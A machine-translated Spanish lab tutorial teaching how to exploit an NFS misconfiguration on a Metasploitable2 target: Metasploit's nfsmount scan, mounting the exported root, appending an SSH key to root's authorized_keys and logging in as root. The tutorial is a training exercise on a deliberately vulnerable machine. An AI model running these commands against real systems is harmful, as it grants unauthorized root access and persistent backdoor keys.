Explotación de una mala configuración de NFS para obtener acceso root con Nmap

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

El Sistema de Archivos de Red (Network File System, NFS) es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder a archivos remotos como si fueran locales. Sin embargo, una configuración inadecuada de NFS puede conducir a graves vulnerabilidades de seguridad, lo que permite a los atacantes obtener acceso no autorizado al sistema. En este laboratorio, aprenderás cómo explotar una mala configuración de NFS para obtener acceso como root a una máquina objetivo.

El objetivo de este laboratorio es comprender los riesgos asociados con una mala configuración de NFS y aprender cómo realizar un ataque exitoso basado en NFS. Al final del laboratorio, habrás adquirido experiencia práctica en la identificación de recursos compartidos de NFS, su montaje local y el aprovechamiento de la mala configuración para obtener privilegios de root en el sistema objetivo.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") subgraph Lab Skills nmap/installation -.-> lab-416131{{"Explotación de una mala configuración de NFS para obtener acceso root con Nmap"}} nmap/port_scanning -.-> lab-416131{{"Explotación de una mala configuración de NFS para obtener acceso root con Nmap"}} nmap/target_specification -.-> lab-416131{{"Explotación de una mala configuración de NFS para obtener acceso root con Nmap"}} end

Escaneo de recursos compartidos de NFS

En este paso, utilizarás el Framework Metasploit para escanear la máquina objetivo en busca de recursos compartidos de NFS.

Ahora iniciarás la máquina de ataque (contenedor de Kali Linux) y la máquina objetivo (máquina virtual Metasploitable2) para realizar el experimento.

  1. Abre una terminal xfce en la máquina host de LabEx y inicia la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espera a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Prueba la conectividad a la máquina objetivo mediante un ping:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

  1. Inicia el contenedor de Kali Linux y entra al entorno bash ejecutando:
docker run -ti --network host --privileged b5b709a49cd5 bash

Hay un parámetro adicional --privileged, que se utiliza para que el usuario root dentro del contenedor tenga verdaderos privilegios de root. De lo contrario, el usuario root dentro del contenedor es solo un usuario normal con privilegios externos. Iniciar un contenedor con el parámetro --privileged te permitirá ver muchos de los dispositivos en el host y realizar un mount, e incluso te permitirá iniciar contenedores de docker dentro de contenedores de docker.

  1. Dentro del contenedor de Kali, prueba la conexión de red a la máquina objetivo:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

Ahora tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puedes comenzar la prueba de penetración.

  1. Ahora, inicia la consola de Metasploit:
cd ~
msfconsole
  1. En la consola de Metasploit, utiliza el módulo auxiliary/scanner/nfs/nfsmount para escanear en busca de recursos compartidos de NFS:
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

Este módulo escaneará el sistema objetivo y mostrará cualquier recurso compartido de NFS exportado.

Presiona Ctrl+D para salir de la consola de Metasploit y luego inicia la inspección

Montar el recurso compartido de NFS

En este paso, montarás el recurso compartido raíz de NFS en el contenedor de Kali.

Primero, instala el paquete nfs-common:

cd /
apt-get install -y nfs-common

Monta el recurso compartido raíz de NFS:

mount -t nfs -o nolock 192.168.122.102:/ /mnt

Este comando montará el directorio raíz (/) del sistema objetivo en el directorio /mnt del contenedor de Kali.

Verifica que el recurso compartido de NFS se haya montado correctamente listando el contenido del directorio /mnt:

ls /mnt

Deberías ver el contenido del directorio raíz del sistema objetivo.

Crear un par de claves SSH

En este paso, crearás un par de claves SSH para habilitar el acceso SSH sin contraseña al sistema objetivo.

Genera un par de claves SSH:

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

Este comando creará dos archivos: /root/.ssh/id_rsa (clave privada) y /root/.ssh/id_rsa.pub (clave pública).

Habilitar el acceso SSH sin contraseña

En este paso, agregarás la clave pública al archivo de claves autorizadas del sistema objetivo, lo que habilitará el acceso SSH sin contraseña.

Copia la clave pública al archivo de claves autorizadas del sistema objetivo:

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

Este comando agregará el contenido de tu archivo de clave pública al archivo /root/.ssh/authorized_keys en el sistema objetivo.

Obtener acceso de root

En este paso, utilizarás el acceso SSH sin contraseña para iniciar sesión como usuario root en el sistema objetivo.

Conéctate al sistema objetivo utilizando SSH:

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]

Ahora deberías tener una shell de root en el sistema objetivo sin que se te solicite una contraseña.

Resumen

En este laboratorio, aprendiste cómo explotar una mala configuración de NFS para obtener acceso no autorizado como root a un sistema objetivo. Comenzaste escaneando recursos compartidos de NFS utilizando el Metasploit Framework, luego montaste el recurso compartido raíz de NFS en tu máquina local. A continuación, creaste un par de claves SSH y agregaste la clave pública al archivo de claves autorizadas del sistema objetivo, lo que habilitó el acceso SSH sin contraseña. Finalmente, utilizaste el acceso SSH sin contraseña para iniciar sesión como usuario root en el sistema objetivo.

Este laboratorio demostró la importancia de configurar adecuadamente los recursos compartidos de NFS y los riesgos potenciales asociados a una mala configuración. Al entender estas vulnerabilidades, puedes proteger mejor tus sistemas y defenderte contra ataques potenciales.